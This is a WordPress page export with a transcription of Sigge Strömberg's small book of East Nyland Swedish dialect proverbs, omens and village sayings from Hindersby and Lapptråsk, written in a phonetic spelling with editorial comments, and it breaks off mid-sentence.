{"id":2834,"date":"2015-03-02T21:19:42","date_gmt":"2015-03-02T19:19:42","guid":{"rendered":"http:\/\/84.20.155.7\/nywp\/?page_id=2834"},"modified":"2015-03-02T21:19:42","modified_gmt":"2015-03-02T19:19:42","slug":"lilla-ordspraksboken-av-sigge-stromberg","status":"publish","type":"page","link":"https:\/\/hindersby.net\/word2021\/spraksidor\/lilla-ordspraksboken-av-sigge-stromberg\/","title":{"rendered":"Lilla ordspr\u00e5ksboken av Sigge Str\u00f6mberg"},"content":{"rendered":"<p>Det h\u00e4r \u00e4r en transkribering av Sigges text som f\u00f6ljer NUS (<a title=\"NUS: Nisses Uttalsriktiga Stavning\" href=\"http:\/\/hindersby.net\/nywp\/?page_id=2836\">Nisses Uttalsriktiga Stavning<\/a>). Inneh\u00e5llet f\u00f6ljer Sigges text men stavningen \u00e4r \u00e4ndrad. I ett f\u00e5tal fall har extra kommentarer satts till. Sigges kommentarer finns inom parentes () medan mina kommentarer finns inom hakparentes []. Johan Schalin har skannat in texten (se <a title=\"Sigges ordspr\u00e5k\" href=\"http:\/\/tcoimom.suntuubi.com\/?cat=23\">den skannade texten<\/a>).<\/p>\n<p><a href=\"http:\/\/hindersby.net\/nywp\/wp-content\/uploads\/2015\/03\/Oordstev-tittelblad-Sigge-Stromberg.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-2847\" src=\"http:\/\/hindersby.net\/nywp\/wp-content\/uploads\/2015\/03\/Oordstev-tittelblad-Sigge-Stromberg-743x1024.jpg\" alt=\"Oordstev tittelblad Sigge Stromberg\" width=\"640\" height=\"882\" \/><\/a><\/p>\n<p>Sida 1:<\/p>\n<p>H\u00f6ugf\u00e4\u00e4rdn e \u00e5\u00e5 slikan aart att han sl\u00e5\u00e5r senn h\u00e4rri snaart.<br \/>\nInt e fatimagan \u00e5\u00e5 neev\u00e4r held\u00e4r.<br \/>\nKvardags grann e helgdas sjiti.<br \/>\nS\u00e5m luusn i tj\u00e4rubytt\u00e5n. (langsam)<br \/>\nStoor i munn s\u00e5m ein prest \u00e5 ein hunn.<br \/>\nTe sj\u00e4rtn s\u00e5m sj\u00e4run f\u00e5\u00e5r haar hon b\u00e5di h\u00f6\u00f6st \u00e5 v\u00e5\u00e5r.<br \/>\nS\u00e5m te sjiti i sm\u00f6ri. (vara efterh\u00e4ngsen)<br \/>\nKva illa ryktas f\u00e5\u00e5r sellan nattkvarteer.<br \/>\nT\u00e4\u00e4r fick du f\u00f6r att du sparka griisn.<br \/>\nToom i huvu me liiti vit \u00e5 smaal i baatjin s\u00e5m eitt spit.<br \/>\nIllvedri k\u00e5mb\u00e4r n\u00e4\u00e4r sooti brinn\u00e4r undi gryyt\u00e5n.<br \/>\nHe ventar regn n\u00e4\u00e4r katt\u00e5n ligg\u00e4r me kullan undi se.<br \/>\nTu f\u00e5\u00e5r suup\u00e5g\u00e4r bisi me byykanveet\u00e5 i tjoolana.<br \/>\nEin kaar vid\u00e4r oorden s\u00e5m oxn vid\u00e4r hoornen.<br \/>\nS\u00e5m i hunnlopp\u00e5na. (i dilemma)<br \/>\nI haralopp\u00e5na. (r\u00e4ddh\u00e5gad)<br \/>\nV\u00e5\u00e5ren ha k\u00e5mi n\u00e4\u00e4r tjititjool roopar.<br \/>\nPrestsettjin e b\u00e5tnl\u00f6us.<br \/>\nAllt ska man nu f\u00e5\u00e5 h\u00f6\u00f6r innan \u00f6\u00f6r\u00e5na sj\u00e4ris \u00e5\u00e5.<br \/>\nGrann s\u00e5m grannas grinden.<\/p>\n<p>Sida 2:<br \/>\nMe kocko i knuutan e br\u00f6ll\u00e5p ti vent.<br \/>\nMe lynh\u00f6\u00f6rni uut f\u00e5\u00e5r du sii h\u00e5n\u00e5 snaart. (undre duksnibben)<br \/>\nMe goo troo \u00e5 breid f\u00f6\u00f6t\u00e4r gaar man fast yvi vatn.<br \/>\nSynd me kr\u00e4\u00e4tji men kvar e piisk\u00e5n.<br \/>\nN\u00f6jtt\u00e4r kvaga skrapar knuutan best.<br \/>\nS\u00e5m oppvext i tunn\u00e5n \u00e5 mata djinu spr\u00e5ndji. (l\u00e5ngt\u00e4nkt, dum)<br \/>\nV\u00e4\u00e4l i v\u00e4pplindjin \u00e5 staan i staaren. ???<br \/>\nTe grannast viis\u00e5n e sellan lang.<br \/>\nDjift de s\u00e5 f\u00e5\u00e5r du viti dett &#8211; n\u00e4\u00e4r du djoord he s\u00e5 bih\u00f6\u00f6vs e inga.<br \/>\nRoos inga daain innan natten ha k\u00e5mi.<br \/>\nS\u00e5m glupi hundar, saa br\u00f6ll\u00e5pskottjin. (sn\u00e5la g\u00e4ster)<br \/>\nMygl\u00e5tt br\u00f6\u00f6 djev\u00e4r bet\u00e4r lygn\u00e5. (s\u00e5ngr\u00f6st)<br \/>\nSpeijiln e faarlitt selskaap.<br \/>\nOobjudi djest staar d\u00f6ren nest.<br \/>\nLiib\u00e4rstick\u00e5 \u00e5 mal\u00e4rtsknopp driiv\u00e4r sjitun uut taar v\u00e4rman opp. (efter frossa)<br \/>\nFulld\u00e4r takaposa e dubbel v\u00e4\u00e4lm\u00e5\u00e5ga.<br \/>\nLet hestn fundeer s\u00e5m haar stoort huvu.<br \/>\nKruusa f\u00e5lk e inga h\u00e4rskaap.<br \/>\nGloos inga opa natjitt s\u00e5 bliir du blind\u00e4r.<br \/>\nRyssn e alti ryss fast han \u00e5 steiktis i sm\u00f6r.<br \/>\nSl\u00e5tr\u00e5 i huvu s\u00e5m ein h\u00f6uta roov\u00e5.<br \/>\nNesaviis hundar f\u00e5\u00e5r rivitt sjinn.<\/p>\n<p>Sida 3:<br \/>\nS\u00e5m fl\u00e5ti i skr\u00e4\u00e4darn. (sn\u00e5lhet vid bordet)<br \/>\nHe e inga ti sleik f\u00f6ren he ha droppa.<br \/>\nT\u00e4\u00e4r fick du f\u00f6r att du bledra me tung\u00e5n. (skadegl\u00e4dje)<br \/>\nMedan man ventar opa te gr\u00f6\u00f6na f\u00f6rfaars te sj\u00f6\u00f6na.<br \/>\n(on\u00f6digt f\u00f6rdr\u00f6jande vid sk\u00f6rd)<br \/>\nIndjin s\u00e5 d\u00e5\u00e5li s\u00e5m i djiftasskurun \u00e5 ingan s\u00e5 goo s\u00e5m t\u00e5 han ligg\u00e4r i liik.<br \/>\nMan ska int roop hej f\u00f6ren man e yvi bettjin.<br \/>\nHunntjuut b\u00e5dar liikriia.<br \/>\nF\u00f6rsta stidji e siiarfoot.<br \/>\n(viktig iakttagelse vid br\u00f6llop och begravning.<br \/>\nV\u00e4nsterfot kvinnlig, h\u00f6gerfot manlig, d\u00e5 h\u00e4sten antingen f\u00f6r likvagn<br \/>\neller br\u00f6llopssch\u00e4s \/drog\/ tog f\u00f6rsta steget ut fr\u00e5n g\u00e5rden.)<br \/>\n\u00d6\u00f6g\u00e5nknyck\u00e5n &#8211; d\u00f6dsb\u00e5d i slekten.<br \/>\nSvarthest i dr\u00f6\u00f6m\u00e5n &#8211; illa b\u00e5da.<br \/>\nK\u00e5rpskr\u00e4\u00e4n i knuutan &#8211; s\u00e5rgliga dagar.<br \/>\nYyl i tuutn &#8211; otuursam rejs\u00e5.<br \/>\nIikoorn opa tatji &#8211; eildsv\u00e5\u00e5d\u00e5 ti vent.<br \/>\nKocko i hagan &#8211; ventan\u00e5\u00e5r f\u00f6r flickan.<br \/>\nKocko me skvat\u00e4r i nebbn &#8211; br\u00e5\u00e5sk\u00e5 me bruuden.<br \/>\nSj\u00e4r\u00e5r i heddjin &#8211; iilakt skvaald\u00e4r i stuvun.<br \/>\nSj\u00e4r\u00e5r opa backan &#8211; illist\u00e5tt frimand.<br \/>\nFl\u00e5gm\u00f6ur\u00e5r i bast\u00e5n &#8211; regni n\u00e4\u00e4ra.<br \/>\nHev myrtn i g\u00f6lvi &#8211; bliir tu uutan kroon\u00e5.<\/p>\n<p>Sida 4:<\/p>\n<p>Regn \u00e5 bl\u00e5\u00e5st i br\u00f6ll\u00e5psdaa &#8211; gr\u00e5\u00e5tliiv \u00e5 oolyck\u00e5.<br \/>\nSoolsjiinsregn i kroon\u00e5 &#8211; lycklitt \u00e5 riikt.<br \/>\nTapp rindjin frammf\u00f6r prestn &#8211; ootroo ti vent.<br \/>\nGr\u00e4\u00e4l i maltmast\u00e5n &#8211; tr\u00f6ugjesa \u00f6\u00f6l. [maltbast\u00e5n ?]<br \/>\nLyss i huvu &#8211; s\u00e5rjin k\u00e5mb\u00e4r.<br \/>\nLyss i kleedren &#8211; bedr\u00f6\u00f6vels\u00e4r \u00e5 fatidoom.<br \/>\nEild i svipun &#8211; aavundsjuuk grannar.<br \/>\nSengn\u00e5js\u00e5 juulnatt &#8211; liggseedstresu r\u00e5gteig.<br \/>\nByyspring \u00e5m juuldaa &#8211; tj\u00e4ru opa nesa-<br \/>\nSvarttin i nyy\u00e5\u00e5rslyck\u00e5 &#8211; s\u00e5rg\u00e4r \u00e5 bedr\u00f6\u00f6vels\u00e4r.<br \/>\nSm\u00e5\u00e5gr\u00f6us i nyy\u00e5\u00e5rslyck\u00e5 &#8211; mytji riikedoomar.<br \/>\nUgl\u00e5r i nyy\u00e5\u00e5rsnatten &#8211; oofriid \u00e5 kriig.<br \/>\nSjellsoord i trett\u00e5ndaa &#8211; oovenn\u00e4r heila \u00e5\u00e5ri.<br \/>\nHindriksdaa veends bj\u00f6\u00f6rn i iide \u00e5 vint\u00e4rn staar s\u00e5m halv.<br \/>\nKattjaam \u00e5 gamalungkaar reck\u00e4r sellan yvi mars.<br \/>\nLangfriidaagsjest haar s\u00e5rg i sinn.<br \/>\nP\u00e5\u00e5skm\u00e5r\u00e5n haar sooladans.<br \/>\nNarr \u00e5 narras s\u00e5 mytji du vil &#8211; f\u00f6rsta \u00e5 siista h\u00f6\u00f6r narras til. (april)<br \/>\nValg\u00e5mes eild dj\u00f6r frood\u00e5 \u00e5 rein\u00e4r somar.<br \/>\nSjuubl\u00e5mst\u00e4rnatt djev\u00e4r flickan viss\u00e5. (Johannenatt)<br \/>\nEiji ling\u00e5ntuuv\u00e5 lyys\u00e4r alti r\u00f6\u00f6ast.<br \/>\nV\u00e5\u00e5r b\u00e5\u00e5n \u00e5 aadras snoorungar.<br \/>\nKr\u00f6us\u00e5n\u00e5\u00e5r e djiftas\u00e5\u00e5r.<\/p>\n<p>Sida 5:<\/p>\n<p>Krusidull\u00e4r \u00e5 spitsar d\u00f6l sellan armoodi.<br \/>\nAktsamt tal dj\u00f6r ingen ill.<br \/>\nK\u00e5moodi \u00e5 b\u00f6\u00f6s lagar tr\u00e5ssg\u00e5\u00e5ln h\u00f6ug. [k\u00e5mood\u00e5g\u00e4r=h\u00f6ugf\u00e4\u00e4rd\u00e5g\u00e4r]<br \/>\nT\u00e5m sm\u00e5\u00e5 gryyt\u00e5na posar foortast.<br \/>\nHe e s\u00e5 mang svengar i kadriljn.<br \/>\nAprillsn\u00f6\u00f6 e bet\u00e4r en f\u00e5\u00e5rag\u00f6\u00f6.<br \/>\nRegni e n\u00e4\u00e4ra n\u00e4\u00e4r kalvan bend\u00e4r me r\u00e5mp\u00e5n i vedri.<br \/>\nJa undrar saa flundr\u00e5n \u00e5m dejdd\u00e5n e ein fisk.<br \/>\nN\u00e4\u00e4r heddjin bloomar ska liini s\u00e5\u00e5s. [s\u00e5\u00e5as] (g\u00f6ra i r\u00e4ttan tid)<br \/>\nI m\u00f6rkni vex\u00e4r roov\u00e5na.<br \/>\nLyysmaskveeg e friidaa veeg. ??<br \/>\nMan ska inga sii sjenkt\u00e4r hest i gapi.<br \/>\nRusi j\u00f6lp e \u00e5 ein j\u00f6lp. [hj\u00e4lp]<br \/>\nRaakt i \u00f6\u00f6g\u00e5na e bet\u00e4r en baakryggstal.<br \/>\nTaa fast skvaaldri e f\u00e5\u00e5fengt spr\u00e5ndji.<br \/>\n&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>HON SAA &#8230;. HAN SAA: B\u00c5DI KLOOKT \u00c5 LEETVITUTT.<\/p>\n<p>Spott opa masstjin s\u00e5 f\u00e5\u00e5r tu napp. (Hindersby)<br \/>\nMe skryyti i bryysti &#8211; bara sjiitspigg i navan. (Hindersby)<br \/>\nLang\u00e4r s\u00e5m Pihlmans djedd\u00e5n.<br \/>\n(ofta anv\u00e4nt ordst\u00e4v efter smeden Pihlman i Hindersby)<br \/>\nIt fisk \u00e5 br\u00f6\u00f6 s\u00e5 bliir du r\u00f6\u00f6bruus\u00e5 saa Sestu mommo. (Hindersby)<br \/>\n[M\u00e5 he va Bos-Sestu ell\u00e4r Hosmas-Sestu ?]<\/p>\n<p>Sida 6:<\/p>\n<p>He morar \u00e5 he buldrar men kvar e dropp\u00e5na ?<br \/>\n(Hindersby ordst\u00e4v efter en dr\u00e4ng som ville ha regn i h\u00f6tiden<br \/>\nf\u00f6r att f\u00e5 frist i br\u00e5dskan)<br \/>\nTiggd\u00e4r kaku mettar bet\u00e4r en stuli limp\u00e5.<br \/>\n(Hindersby ordst\u00e4v efter gamla Lisa Eriksson)<br \/>\nYmn\u00e5t i rostan &#8211; droppar s\u00f6\u00f6tv\u00f6rtn tj\u00e5ckast. (Hindersby efter Ufferstu famo)<br \/>\nPiian i s\u00e5\u00e5nn \u00e5 p\u00e5jtjin i lull\u00e5n. ? (ofta anv\u00e4nta ordst\u00e4v efter Sestu mommo.<br \/>\nBetyder: Flickan i s\u00e4ngen och pojken i vaggan)<br \/>\nHe e ansvarsfullt arbejt saa Nystu faast\u00e4r s\u00e5m t\u00e5rka sk\u00e5rp\u00e5r.<br \/>\n(gammalt ordst\u00e4v efter Nystu Fredrika, Hindersby)<br \/>\nD\u00e5\u00e5litt ti liv n\u00e4\u00e4r indjin d\u00f6\u00f6r saa Lapptr\u00e4sk graavgrevarn.<br \/>\nJa taar de me djivalt, saa Satti. (gammalt ordst\u00e4v efter en som hette Satti<br \/>\noch vid vigseln med sin Maja anv\u00e4nde egenritual)<br \/>\nNo e he braa ti hav huvu yvi tatji, saa Lil-moor. (Hindersby-gumma som blev<br \/>\nordst\u00e4v efter sitt bak-fram tal)<br \/>\nNo s\u00f6rg\u00e4r ja f\u00f6r t\u00e5m bitana s\u00e5m gud it\u00e4r. (Lil-moor)<br \/>\nN\u00e4\u00e4r man dj\u00f6r illa s\u00e5 dj\u00f6r man v\u00e4\u00e4l, saa Lil-moor, sparka \u00e5mkull Nystu tj\u00e4\u00e4rn\u00e5n.<br \/>\nHan s\u00e5m int vil liv s\u00e5 m\u00e5\u00e5 han d\u00f6\u00f6, saa Oppstu-Gusta.<br \/>\n(gammalt Hindersby ordst\u00e4v efter Oppstu Gusta)<br \/>\nV\u00e5j, v\u00e5j, nu too katt\u00e5n \u00e5\u00e5t\u00e4r ein tipp\u00e5, saa Pihlman.<br \/>\n(Hindersby ordst\u00e4v efter smeden Pihlman)<br \/>\nMan m\u00e5 nu f\u00e5\u00e5 liiti sk\u00e5jj, saa Janni s\u00e5m tjita piigan.<br \/>\n(Hindersby ordspr\u00e5k efter Sestu Janni, en inbiten gammalungkarl)<br \/>\nNo m\u00f6\u00f6rnar he me tiinn, saa Gaambelstu-mommo, \u00e5mm te halvr\u00f6\u00f6kt fl\u00e4ski.<br \/>\n(Hindersby ordspr\u00e5k efter Gammmelstu-mommo)<br \/>\nN\u00e4\u00e4r pengan e sluut s\u00e5 haar du l\u00e5ddi kvaar. (gammalt ordspr\u00e5k fr\u00e5n Lindkoski by)<br \/>\nInt e hon snygg\u00e4r men rasandi goo ti hav. (B\u00e4ckby)<\/p>\n<p>Sida 7:<\/p>\n<p>Oppsvelld\u00e4r s\u00e5m ein m\u00e4rafj\u00e5s\u00e5, saa Snickar-Gusta \u00e5mm senn te mygelv\u00e5\u00e5t salmbootjin.<br \/>\n(Hindersby ordspr\u00e5k efter gamla Snickar-Gusta)<br \/>\nJa vil spyy \u00e5 dj\u00f6lkas \u00e5 kr\u00e4\u00e4kas \u00e5 kast opp, saa Tjeeldas famo \u00e5\u00e5t d\u00e5kt\u00e5rn.<br \/>\n(gammalt Hindersby ordspr\u00e5k efter K\u00e4ldas famo)<br \/>\nHe va nu gr\u00f6\u00f6tn ti griin \u00e5\u00e5t, saa Maja s\u00e5m \u00e5\u00e5t kliist\u00e4r. (Hindersby ordspr\u00e5k)<br \/>\nEin tuum opa ein nesa \u00e5 tv\u00e5\u00e5 aalnar ti lengden e nu inga ti tal \u00e5mm.<br \/>\n(gammalt Lapptr\u00e4sk ordspr\u00e5k)<br \/>\nBreid i \u00f6\u00f6g\u00e5na s\u00e5m ein br\u00e4\u00e4finn. (gammalt Lapptr\u00e4sk ordspr\u00e5k)<br \/>\nHe va inga ti skryyt me bara str\u00f6ming i magan \u00e5 me mj\u00f6ltjin s\u00e5m eitt kalvdricka,<br \/>\nsaa Ufferstu Emi. (Hindersby)<br \/>\nGrann ska aktas s\u00e5m \u00f6\u00f6ga, saa Ufferstu famo. (Hindersby)<br \/>\nLiitn vennliheit e \u00e5 vennliheit, saa Ufferstu famo. (Hindersby)<br \/>\nFast vintern hur sakta skriid\u00e4r s\u00e5 k\u00e5mb\u00e4r matismesstiid\u00e4r. (gammalt Lapptr\u00e4sk ordst\u00e4v)<br \/>\nMatts veck\u00e4r \u00e5 Matts sleck\u00e4r, saa moofa. (Hindersby)<br \/>\nAllt e he til kva s\u00e5m rinn\u00e4r fr\u00e5\u00e5n nesan i munn. (\u00d6stnyl\u00e4ndskt)<br \/>\nS\u00e5m ti lapp handskar i m\u00e5\u00e5nsjiin. (d\u00e5ligt resultat, Hindersby ordspr\u00e5k)<br \/>\nS\u00e5m n\u00e4\u00e4r f\u00e5\u00e5ri sjiit\u00e4r opa neevri. (f\u00f6r mycket pratsam, Hindersby ordspr\u00e5k)<br \/>\nKast tjepp i hunnhoop, s\u00e5 h\u00e5n\u00e5 s\u00e5m he taar s\u00e5 kvinkar. (gammalt Hindersby ordspr\u00e5k)<br \/>\nJ\u00e4\u00e4vlar i gresi \u00e5 ormar i gr\u00f6\u00f6tfati, saa Sj\u00f6holm i p\u00e5mil\u00e5n.<br \/>\n(gammalt Labby ordspr\u00e5k efter Sj\u00f6holm)<br \/>\nVeend te ludi uut\u00e5\u00e5t s\u00e5 hindersbyddjin. (Lapptr\u00e4sk ordspr\u00e5k)<br \/>\nHe gaar bara s\u00e5m n\u00e4\u00e4r Maja vev\u00e4r. (Hindersby)<br \/>\n[He gaar bara s\u00e5m n\u00e4\u00e4r fafa trallar]<br \/>\nGriin\u00e5 \u00e5 gliis\u00e5, saa Lilstu-moor \u00e5\u00e5t s\u00e5nah\u00e5str\u00e5ns handduukan.<br \/>\n(gammalt Hindersby ordspr\u00e5k)<br \/>\n\u00c5j tetta \u00f6\u00f6di, saa Billbackas hanin. (Norrby ordspr\u00e5k)<br \/>\nsida 8:<\/p>\n<p>Lyft tu s\u00e5 puustar ja, saa drendjin \u00e5\u00e5t huusbonn senn.<br \/>\n(Hindersby orspr\u00e5k efter dr\u00e4ngen Ville n\u00e4r Klinkas)<br \/>\nVilivi s\u00e5, saa Janne s\u00e5m deila brennviine. (Lapptr\u00e4sk)<br \/>\nHe va ein h\u00e5la ti hav ved\u00e4rkoorn, saa bonn ti befallningsmann vid\u00e4r brennviinspann\u00e5n.<br \/>\n(Hindersby)<br \/>\nHon kan nu b\u00e5di stuu \u00e5 draa, saa Edla \u00e5m sveeg\u00e4rskan siin. (Hindersby)<br \/>\nM\u00e5\u00e5gbr\u00f6\u00f6 e inga grannbr\u00f6\u00f6. (Lapptr\u00e4sk)<br \/>\nN\u00e4\u00e4r br\u00f6\u00f6 bliir sluut s\u00e5 it\u00e4r vi gr\u00f6\u00f6t, saa Pihlman. (gammalt anv\u00e4nt Hindersby<br \/>\nordst\u00e4v efter smeden Pihlman fr\u00e5n tiden f\u00f6r f\u00f6rsta v\u00e4rldskriget)<br \/>\nV\u00e5r\u00e5n e nu slik\u00e5n s\u00e5m hon e, saa Aarstu famo \u00e5m s\u00e5nah\u00e5str\u00e5n.<br \/>\n(ofta anv\u00e4nt Hindersby ordspr\u00e5k)<br \/>\nMan f\u00e5\u00e5r t\u00e5 ald\u00e4r va s\u00e5m man vil, saa Nyystu-moobro tralla p\u00e5lkan i tj\u00f6rkan.<br \/>\n(gammalt Hindersby ordst\u00e4v)<br \/>\nNo e tu menn nu, saa Peetn hulld galtn i r\u00e5mp\u00e5n. (Hindersby)<br \/>\nHe va bara s\u00e5m ja f\u00e5rga, saa Kalle s\u00e5m sj\u00f6ut siidnsvansar. (Hindersby)<br \/>\nH\u00e5j\u00e5 &#8211; all tiliika, saa Kalle Nyman. (Hindersby) ??<br \/>\nSjuttifem penni k\u00e5star te daain, saa B\u00e4ri-Ant \u00e5\u00e5t h\u00e5n\u00e5 s\u00e5m bj\u00f6ud stassjuuss.<br \/>\n(gammalt B\u00e4ckby ordst\u00e4v efter B\u00e4ri-Ant)<br \/>\nN\u00e4\u00e4r ni k\u00e5mb\u00e4r heim s\u00e5 sl\u00e5\u00e5r ni \u00e5\u00e5t id\u00e4r ein redig\u00e4r, saa Snickar-Gusta<br \/>\n\u00e5\u00e5t talk\u00e5djestren. (Hindersby &#8211; menas sup)<br \/>\nKvemm ha tala ? saa Pihlman n\u00e4\u00e4r bast\u00e5n hadd br\u00e5nni.<br \/>\n(ofta anv\u00e4nt uttryck efter Pihlman, Hindersby)<br \/>\nAllti hankar he ti bet\u00e4r, saa bonn n\u00e4\u00e4r tack\u00e5n laamba. (Hindersby)<br \/>\nHe va eitt reislitt spadataag, saa Janni sluuka djirsn. (gammalt Lapptr\u00e4sk ordst\u00e4v)<br \/>\nHe blei inga \u00e5\u00e5, saa Mattas Heikk &#8211; beit huvu \u00e5\u00e5 Stoorstu laambi.<br \/>\n(gammalt Hindersby ordspr\u00e5k)<br \/>\nSida 9:<\/p>\n<p>Slikan sjuuj\u00e4\u00e4drans trill\u00e5, saa Vendla &#8211; \u00e5\u00e5ka iiskuli i b\u00e5\u00e5nbackan.<br \/>\n(gammalt Hindersby ordspr\u00e5k)<br \/>\nNo ha ja nu kuna men sii he ha nu fari, saa Janni i lesf\u00f6rh\u00f6\u00f6ri. (Hindersby)<br \/>\nHe va inga ti slepp f\u00f6r t\u00e5 ha ja noo flaatna, saa Janni s\u00e5m stytta smiditatji.<br \/>\n(Hindersby-B\u00e4ckby)<br \/>\nN\u00e5 sii nu ha hon laga se \u00e5\u00e5t\u00e4r, saa B\u00e4rqvist n\u00e4\u00e4r tjelindjin dingla i fyll\u00e5n.<br \/>\n(gammalt Hindersby ordspr\u00e5k efter smeden B\u00e4rqvist)<br \/>\nKva sku nu ja s\u00e5m int hadd tiid ein gang\u00e5, saa Lisa \u00e5\u00e5t lump\u00e5bisin<br \/>\ns\u00e5m k\u00e5m me skammlitt annbuud. (Hindersby)<br \/>\nH\u00e4rriguud, \u00e5 hakan opa, saa piigan \u00e5\u00e5t bonn s\u00e5m k\u00e5m inn i nattbood\u00e5n. (Hindersby)<br \/>\nHarakrantjin \u00e5 myddjin beit hindersbyddjin i ryddjin.<br \/>\n(gammalt sk\u00e4llsord f\u00f6r Hindersbyborna fr\u00e5n de andra byarna i socknaen)<br \/>\nSanindjin e beck, joo, saa Stein-Gusta.<br \/>\n(gammalt omtyckt ordspr\u00e5k efter Stein-Gusta, bosatt i Harsb\u00f6le f\u00f6re sin d\u00f6d)<br \/>\nLiitn i maatn men siir braa uut \u00e5 arbeitar moot tv\u00e5\u00e5 Tjeeldbyggar.<br \/>\n(gammalt omtyckt Hindersby ordspr\u00e5k)<br \/>\n\u00c5js, va he heitt ?, saa Kajsa &#8211; kasta kookheitt vatn opa bisin senn. (Hindersby)<br \/>\nS\u00e5m me r\u00e5mp\u00e5n millan d\u00f6rrn, saa Ville \u00e5\u00e5t m\u00e5\u00e5in. (Hindersby)<br \/>\nSt\u00f6\u00f6ri h\u00e4rrskaap ha man siitt en ein fati klockari.<br \/>\nSoolen ska sjiin yvi all, saa v\u00e4rdinnan &#8211; deila n\u00e5rsen.<br \/>\nLudi i huvu s\u00e5m pokarboonns bruuden. (omtyckt Lapptr\u00e4sk ordspr\u00e5k)<br \/>\nFeitt \u00e5 fl\u00e5t\u00e5tt, saa bonn s\u00e5m beit suggan.<\/p>\n<p>Sida 10:<\/p>\n<p>K\u00e5mb\u00e4r tu te veein, saa skr\u00e4\u00e4darn \u00e5\u00e5t luusn.<br \/>\nElendi opa elendi, saa te fati s\u00e5m full opa tiggarn.<br \/>\nSluut me vissla nu, saa bonn s\u00e5m skar leppana \u00e5\u00e5 se.<br \/>\nEitt h\u00e4rrans liiv, saa te blind n\u00e4\u00e4r te halta dansa.<br \/>\nSiista s\u00e5m gaar, saa bonn n\u00e4\u00e4r sjiithuusi brann.<br \/>\nSidu Kalle m\u00e5\u00e5nan, saa piigan \u00e5\u00e5t flintn.<br \/>\nTri Pokarp\u00e5jkar stampa trii piparkoorn i ein koparpann\u00e5.<br \/>\n(omtyckt ramsa eller tal\u00f6vning i snabbaste tempo)<br \/>\nTu tuggar t\u00e5rrt, saa Mooris-Heikk [?] n\u00e4\u00e4r han va brug\u00e5m.<br \/>\n(gammalt Lapptr\u00e4sk ordst\u00e4v)<br \/>\nBakett f\u00f6rsta bliir he allti bet\u00e4r, saa Jonas \u00e5mm kn\u00e5rrn.<br \/>\n(gammalt ordst\u00e4v efter spelman Jonas, Hindersby)<br \/>\nTook\u00e5gari ha man siitt, saa piigan n\u00e4\u00e4r drendjin dr\u00e5nkna.<br \/>\nV\u00e4rrigari ha he kuna gaa, saa bisin me gumman i r\u00e4\u00e4vsaxen.<br \/>\nMe roga m\u00e5\u00e5tt, saa skr\u00e4\u00e4darn s\u00e5m fick tvilingar.<br \/>\nInga ti s\u00f6rg fast katt\u00e5n e maag\u00e4r, saa Pihlman. (Hindersby)<br \/>\nKnyck \u00e5\u00e5t de s\u00e5 haar du &#8211; Pokarboons elfte buudi.<br \/>\n(omtyckt Lapptr\u00e4sk ordspr\u00e5k)<br \/>\n\u00c5j, kyt \u00e5 fl\u00e5t \u00e5 flesk, saadrendjin \u00e5m juulen.<br \/>\nS\u00e5m f\u00e5\u00e5ren i Jeppes br\u00e5nn. (s\u00e4rskilt omtyckt ordst\u00e4v om hindersbyborna)<br \/>\nMe te eina i fiskkopp\u00e5n \u00e5 te ana i br\u00f6\u00f6spiti. (g\u00e4ngse uttryck om skevande)<br \/>\nVigulant\u00e4r \u00e5 mjuuk\u00e4r, saa piigan s\u00e5m full i lidi. (Hindersby)<br \/>\nTjugu bj\u00f6ud t\u00e5m men ad\u00e4rt\u00e5n kneip ja, saa Kajsa s\u00e5m s\u00e5\u00e5ld egg opa marknan.<br \/>\nKvemm veit nu kvar drendjin tjeetis, saa Aarstu famo. (Hindersby)<\/p>\n<p>Sida 11:<\/p>\n<p>SKAMML\u00d6UST &#8212; FUULT \u00c5 F\u00c5\u00c5N\u00c5TT men s\u00e5m praatas ent\u00e5:<\/p>\n<p>V\u00e4rri ha he kuna va, saa piigan s\u00e5m fick tvilingar.<br \/>\nFinn \u00e5 faan e br\u00f6\u00f6d\u00e4r &#8211; te eina e sluugf \u00e5 svart \u00e5 te ana glupi \u00e5 r\u00f6\u00f6d\u00e4r.<br \/>\n(gammalt ordst\u00e4v)<br \/>\nAktin \u00f6\u00f6g\u00e5na b\u00e5\u00e5n, saa moor s\u00e5m feis i ask\u00e5n.<br \/>\nS\u00e5m pinnan i sjiitn. (om n\u00e5gon var h\u00f6gmodig utan orsak)<br \/>\nF\u00f6rsta gang\u00e5n op s\u00e5m sj\u00e4riflickans brug\u00e5mmn. (oftast vid tal om nya kl\u00e4der)<br \/>\nHan s\u00e5m fiisn tjennd e noo fiisns venn.<br \/>\nMe brennviine i huvu e noo viti i bettjin.<br \/>\nMe steikflesk i pann\u00e5n kan te riik kast te fati med spadi i arsh\u00e5li.<br \/>\nGrann \u00e5 sjiinand s\u00e5m hunnballar i m\u00e5\u00e5nsjiin.<br \/>\nHeitari \u00e5 heitari, saa piigan me drendjin undi feeldn.<br \/>\nNo ha han (hon) \u00e5 vari liitn \u00e5 pillra i sjiitn.<br \/>\nUutan sjegg indjin kaar, saa piigan s\u00e5m bada drendjin.<br \/>\nSluuk yti de bara, slika e inga bejn\u00e5t, saa drendjin \u00e5mm kattfiisn.<br \/>\nVarmt \u00e5 somarliikt, saa piigan &#8211; trampa i kuddlaap\u00e5n.<br \/>\nLyck\u00e5 ti sj\u00f6\u00f6ss, saa faan \u00e5\u00e5t kattungan.<br \/>\nHe e inga ti r\u00f6\u00f6r \u00e5mm f\u00f6r v\u00e4rri l\u00e5ftas he.<br \/>\nSiir du kvart t\u00e5m heng\u00e4r, saa drendjin s\u00e5m raambla me bast\u00e5lavan.<br \/>\nEijji fiisn l\u00e5ftas inga.<\/p>\n<p>Sida 12:<\/p>\n<p>Me deig i krevun vex\u00e4r tissan.<br \/>\nLeetvitutt \u00e5 fj\u00e5ll\u00e5tt s\u00e5m prestns piigan.<br \/>\nInga s\u00e5 illa svarva, saa snickarn s\u00e5m fick trilingar.<br \/>\nV\u00e4nt\u00e5n va v\u00e4rst, saa gamalpiigan s\u00e5m sku d\u00f6\u00f6.<br \/>\nIllmari s\u00e5m Lindstr\u00f6ms skrepp\u00e5na. (mycket gammalt Lapptr\u00e4sk uttryck)<br \/>\nS\u00e5m n\u00e4\u00e4r ungdoomn graseerar, saa tj\u00e4rindjin opa besshoornen.<br \/>\nSkriivfrimandi e n\u00e4\u00e4ra n\u00e4\u00e4r k\u00e5bbn tveettar bleckhoorne sett.<br \/>\nHe va int s\u00e5 d\u00e5\u00e5litt sleppt me s\u00e5 krook\u00e5 doon, saa piigan s\u00e5m 